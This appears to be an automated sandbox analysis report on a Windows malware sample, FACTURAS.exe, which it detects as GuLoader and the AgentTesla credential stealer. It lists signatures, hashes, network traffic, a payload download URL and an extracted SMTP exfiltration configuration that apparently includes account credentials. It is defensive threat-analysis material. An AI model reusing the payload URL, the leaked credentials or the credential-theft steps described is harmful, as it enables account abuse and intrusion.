Windows Analysis Report FACTURAS.exe

Overview

General Information

Sample Name: FACTURAS.exe
Analysis ID: 539419
MD5: 2332fdde9344114749db5496eef5f5f9
SHA1: 303c40dd112294dc012836be48eb38e8af056432
SHA256: 0e693b9dcb4ccb3e64cb61396447dd4e3871234b4af80c2d57e4fbc9b6268a61
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000009.00000000.34699479595.0000000001300000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=downlD'"}
Source: FACTURAS.exe.7984.1.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trsarahmorg434@gmail.com"}
Multi AV Scanner detection for submitted file
Source: FACTURAS.exe Virustotal: Detection: 40% Perma Link
Source: FACTURAS.exe Metadefender: Detection: 38% Perma Link
Source: FACTURAS.exe ReversingLabs: Detection: 57%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F5088 CryptUnprotectData, 9_2_017F5088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F5868 CryptUnprotectData, 9_2_017F5868

Compliance:

barindex
Uses 32bit PE files
Source: FACTURAS.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.181.238:443 -> 192.168.11.20:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49810 version: TLS 1.2

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=downlD'
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 116.202.203.61 116.202.203.61
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/gp8euu0gtvc992oi1h8j40de9a23dlvb/1639471800000/01707528263340534167/*/1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-7s-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49817 -> 116.202.203.61:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49817 -> 116.202.203.61:587
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 00000009.00000002.39547979743.0000000001508000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548353577.0000000001547000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.39566542058.000000002065B000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: CasPol.exe, 00000009.00000003.34898456517.0000000001598000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548757610.0000000001584000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000003.34903021933.0000000001594000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897476183.0000000001598000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39566542058.000000002065B000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39566707424.0000000020677000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: CasPol.exe, 00000009.00000002.39566283279.000000002062C000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39566542058.000000002065B000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: CasPol.exe, 00000009.00000003.34898456517.0000000001598000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548757610.0000000001584000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000003.34903021933.0000000001594000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897476183.0000000001598000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp String found in binary or memory: http://furteksdokuma.com.tr
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: http://kFWRbv.com
Source: CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp String found in binary or memory: http://mail.furteksdokuma.com.tr
Source: CasPol.exe, 00000009.00000002.39547979743.0000000001508000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.39566283279.000000002062C000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548353577.0000000001547000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.39566542058.000000002065B000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39566707424.0000000020677000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: CasPol.exe, 00000009.00000002.39560192318.000000001E4B4000.00000004.00000001.sdmp String found in binary or memory: https://NlNlzv83nsnyVe.org
Source: CasPol.exe, 00000009.00000002.39560192318.000000001E4B4000.00000004.00000001.sdmp String found in binary or memory: https://NlNlzv83nsnyVe.orgt-
Source: CasPol.exe, 00000009.00000003.34902918897.00000000015D9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34898900637.00000000015DA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897886336.00000000015D6000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897476183.0000000001598000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 00000009.00000003.34902918897.00000000015D9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34898900637.00000000015DA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897886336.00000000015D6000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34897476183.0000000001598000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 00000009.00000003.34898456517.0000000001598000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000003.34903021933.0000000001594000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548588362.000000000156E000.00000004.00000020.sdmp String found in binary or memory: https://doc-0g-7s-docs.googleusercontent.com/
Source: CasPol.exe, 00000009.00000003.34897476183.0000000001598000.00000004.00000001.sdmp String found in binary or memory: https://doc-0g-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/gp8euu0g
Source: CasPol.exe, 00000009.00000002.39547979743.0000000001508000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000009.00000002.39549397505.00000000016D0000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39548353577.0000000001547000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T
Source: CasPol.exe, 00000009.00000002.39559729180.000000001E464000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: CasPol.exe, 00000009.00000002.39566283279.000000002062C000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39560412992.000000001E4CA000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39566542058.000000002065B000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: CasPol.exe, 00000009.00000002.39559729180.000000001E464000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: CasPol.exe, 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/gp8euu0gtvc992oi1h8j40de9a23dlvb/1639471800000/01707528263340534167/*/1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-7s-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.181.238:443 -> 192.168.11.20:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49810 version: TLS 1.2

System Summary:

barindex
Uses 32bit PE files
Source: FACTURAS.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_03101476 1_2_03101476
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_03103837 1_2_03103837
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01206988 9_2_01206988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01200040 9_2_01200040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01201420 9_2_01201420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01244320 9_2_01244320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01243A50 9_2_01243A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0124BA50 9_2_0124BA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0124C7B0 9_2_0124C7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01243708 9_2_01243708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014AA9CA 9_2_014AA9CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A8490 9_2_014A8490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A8F20 9_2_014A8F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A1D28 9_2_014A1D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A41D1 9_2_014A41D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A3330 9_2_014A3330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_014A6270 9_2_014A6270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F2DA0 9_2_017F2DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F1BD0 9_2_017F1BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F7E60 9_2_017F7E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017FD2E0 9_2_017FD2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017FDED5 9_2_017FDED5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017FA940 9_2_017FA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F2D00 9_2_017F2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017FA9A0 9_2_017FA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_017F2E40 9_2_017F2E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A850F8 9_2_01A850F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A80040 9_2_01A80040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A86C78 9_2_01A86C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A86048 9_2_01A86048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A8A420 9_2_01A8A420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_1E235E08 9_2_1E235E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_1E2346C4 9_2_1E2346C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_1E236AF1 9_2_1E236AF1
Contains functionality to call native functions
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_03101476 NtResumeThread, 1_2_03101476
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_03103837 NtResumeThread, 1_2_03103837
Sample file is different than original file name gathered from version info
Source: FACTURAS.exe, 00000001.00000002.34925569619.0000000000424000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSERVICEKONTRAKTS.exe vs FACTURAS.exe
Source: FACTURAS.exe, 00000001.00000002.34926925106.00000000029D0000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameSERVICEKONTRAKTS.exeFE2XMURAL@ vs FACTURAS.exe
Source: FACTURAS.exe Binary or memory string: OriginalFilenameSERVICEKONTRAKTS.exe vs FACTURAS.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\FACTURAS.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: FACTURAS.exe Virustotal: Detection: 40%
Source: FACTURAS.exe Metadefender: Detection: 38%
Source: FACTURAS.exe ReversingLabs: Detection: 57%
Source: FACTURAS.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\FACTURAS.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\FACTURAS.exe "C:\Users\user\Desktop\FACTURAS.exe"
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\FACTURAS.exe File created: C:\Users\user\AppData\Roaming\Bh2BSU9xxO49MYboEPptixGKslvKjoQApxmsXHE151 Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe File created: C:\Users\user\AppData\Local\Temp\~DF03314C855DEECA48.TMP Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/3@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1676:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1676:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000009.00000000.34699479595.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040508B pushad ; ret 1_2_0040509D
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040755C push cs; retf 1_2_0040755D
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00407179 push esp; iretd 1_2_00407181
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00407584 push cs; retf 1_2_0040755D
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_004085B8 push edx; retf 1_2_004085B9
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00406245 push ecx; retf 1_2_00406249
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_004072E6 push ebp; iretd 1_2_004072E9
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_004042FC push edx; retf 1_2_004042FD
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040972A push eax; iretd 1_2_00409745
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_004083D6 pushfd ; iretd 1_2_00408422
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_03104AD1 push es; iretd 1_2_03104ADB
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_031024DF push edx; ret 1_2_031024E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01A83D0A push eax; retf 9_2_01A83D51
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
